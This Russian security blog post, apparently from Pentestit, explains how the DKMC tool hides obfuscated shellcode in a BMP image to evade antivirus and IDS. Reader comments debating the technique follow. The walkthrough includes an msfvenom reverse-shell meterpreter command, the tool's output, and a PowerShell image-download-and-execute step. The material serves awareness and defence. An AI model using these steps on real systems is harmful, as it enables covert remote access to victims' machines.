Кот или шеллКод?



    Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

    В чем суть?


    Посмотрите на изображение ниже



    Видите ли вы в нем что-то странное?

    Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.



    Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.



    Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

    Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

    Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

    Для этого может использоваться, например, набор PowerShell команд.

    Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

    Это правда работает?


    Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

    Запуск

    python dkmc.py

    Нам доступно несколько действий



    Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

    Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

    Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем



    Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen



    и получаем вывод

    (generate)>>> run
    	[+] Image size is 1000 x 700
    	[+] Generating obfuscation key 0x14ae6c1d
    	[+] Shellcode size 0x14d (333) bytes
    	[+] Adding 3 bytes of padding
    	[+] Generating magic bytes 0x4d9d392d
    	[+] Final shellcode length is 0x19f (415) bytes
    	[+] New BMP header set to 0x424de9040a2000
    	[+] New height is 0xb7020000 (695)
    	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)
    

    Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

    Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения



    и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения



    Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы



    Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера



    Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.
    Pentestit 183,29
    Информационная безопасность
    Поделиться публикацией
    Комментарии 14
    • +5
      Ничего не понял.
      Если злоумышленник имеет возможность выполнить PowerShell-команду на машине жертвы, то при помощи «шелл-кота» он… получит возможность выполнять код на машине жертвы?
      Серьёзно? А для чего тогда «шелл-кот», если выполнять код на его машине можно и просто так?
      • +1

        Смысл в сокрытии. Шелл-код передается на машину жертвы в виде изображения и файл выглядят в точности как нормальное изображение. Нет ничего необычного в передаче изображения по сети и этот факт может привести к тому, что подобный трафик никак не инспектируется средствами защиты и картинка не будет проверяться антивирусным ПО, даже, если хранится на файловой системе. Антивирус не будет пытаться "запустить" картинку в песочнице, а если Вы передадите шелл-код в виде исполняемого файла, то антивирус может выполнить его в песочнице и заблокировать. То, что мы "запускаем" картинку через Powershell — это, считайте, Proof-of-Concept. Факт, есть, факт, что BMP изображение может являться и картинкой, и шелл-кодом одновременно. Смотря как на это смотреть. Надеюсь, я правильно понял Ваш вопрос и ответил на него корректно.

        • +2
          Шелл-код передается на машину жертвы в виде изображения и файл выглядят в точности как нормальное изображение.

          В чём специфика того, что это изображение? Точно так же шелл-код можно засунуть в середину war_and_peace.txt, даже никакие заголовки не придётся править.

          То, что мы «запускаем» картинку через Powershell — это, считайте, Proof-of-Concept.

          Так а схема атаки-то какая? Предполагается, что фаервол жертвы не разрешит скачать шелл-код в открытом виде, но разрешит скачать некий эксплойт, скачивающий «шелл-кота» и запускающий его?

          Факт, есть, факт, что BMP изображение может являться и картинкой, и шелл-кодом одновременно.

          Надо же, какая новость.
          • 0

            А то, что в середине war_and_piece.txt будет ассемблерный код Вас не смущает? Думаете, это никто не заметит? Так же ваш War and Piece должен начинаться с ассемблерных инструкций, которые не вызовут ошибку, так что "серединой книги" не обойдется. В примере выше картинка будет выглядеть точно так же, как и обычные "котики", но одновременно будет являться и шелл-кодом.


            Схема атаки здесь не описывается. Здесь описывается способ передачи шелл-кода в виде, в котором он с высокой долей вероятности не будет обнаружен средствами защиты ни во время передачи по сети, ни после передачи.


            То что запускает жертва в виде PowerShell скрипта не является эксплойтом и не несет в себе вредоносный код. Это скрипт для скачивания картинки из интернета и проведение с ней каких-то манипуляций. Так что в чем проблема передачи такого файла по сети?


            Касательно Rarjpeg — здесь иной принцип работы, не имеющий отношения к принципу, по которому работает DKMC.

            • +2
              А то, что в середине war_and_piece.txt будет ассемблерный код Вас не смущает? Думаете, это никто не заметит?

              Фаервол — наверняка не заметит, раз «отрезанные пять пикселов» (т.е. заголовок, не соответствующий содержимому) у BMP-изображения не заметил.

              Так же ваш War and Piece должен начинаться с ассемблерных инструкций, которые не вызовут ошибку, так что «серединой книги» не обойдется.

              Тот самый «скрипт-запускатель», который запускает payload начиная с первого байта, точно так же может его запускать и начиная с байта 0x00200A04.

              Касательно Rarjpeg — здесь иной принцип работы, не имеющий отношения к принципу, по которому работает DKMC.

              Поздравляю с изобретением более сложного способа добиться в точности того же результата, которого можно добиться простым и широко известным.
        • +1
          Потому что можно тихо пробраться мимо IDS (IPS, NGFW, называйте как хотите), которая не ждёт, что payload, для которого у него есть сигнатура, будет лежать в картинке.
        • –1
          А котик-то какой няшный!
          • +3
            'сегодня в 13:37'

            Стоило того.
            • 0
              Окей.
              BMP.

              Какие еще форматы файлов, которые могут загружаться на сервер (пользователем), подвержены данной уязвимости?

              И какие вы можете предложить средства предотвращения этой уязвимости?
              • 0
                Предотвратить элементарно – провести массовую конвертацию в другой формат, или в тот же, но убедиться, что выбранный конвертер действительно перезаписывает файл. Эти проги, как правило, пропускают части файла, которые им неизвестны, так что на выходе получите чистую картинку с правильным заголовком.
              • 0
                Промазал, это был ответ для Arris

                Возможно, TGA — схожая структура файла. Другое интересно — кто использует эти форматы для передачи по сети?

                Выше уже указали на давно известный rarjpeg.

                И вот ещё история была, но тоже маловероятно в виду «распространённости» формата.

                Я бы использовал PNG — широко распростанён, и туда что угодно можно засунуть, хоть скомпиленный EXE, но сложнее. В гифку — тоже.
                • 0

                  Спасибо за ссылки по теме! Это правильно.


                  Многие вещи в мире информационной безопасности делаются не для того чтобы кому-то навредить, а с научной целью. Подобные тексты расширяют кругозор, предлагают алгоритмы поиска уязвимостей, вовлекают людей в Open Source разработку, учат чему-то новому.


                  Но Судя по плюсам к комментариям я могу судить, что большинство читателей ждут какие-то шаги раз, два, три, как проэксплуатировать конкретную систему, хотя ни название, ни пре-текст материала ничего подобного не обещают.


                  Надеюсь, что тем 22-м проголосовавшим "вверх" этот материал показался полезным и они нашли в нем что-то новое для себя, а всем кто голосует "вниз" предлагаю внести вклад в хаб по информационной безопасности, чтобы мы все узнали что-то новое.

                  • +1
                    Но Судя по плюсам к комментариям я могу судить, что большинство читателей ждут какие-то шаги раз, два, три, как проэксплуатировать конкретную систему, хотя ни название, ни пре-текст материала ничего подобного не обещают.

                    Первые слова вашего текста: «Может ли обычная картинка нести угрозу...».
                    После такого хотелось бы в статье прочитать про «угрозу в картинках», а вместо этого в ней про «угрозу в скрипте, позволяющем скачивать абы что, и запускать вытащенный оттуда код». И всё это обставлено так, как будто бы в формате BMP есть какая-то уязвимость.

                    Свой вклад в хаб по информационной безопасности я внёс неделю назад, вне корпоративного блога и на голом энтузиазме. На здоровье.
                    • 0

                      Спасибо. Пишите еще, пожалуйста.

                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                Самое читаемое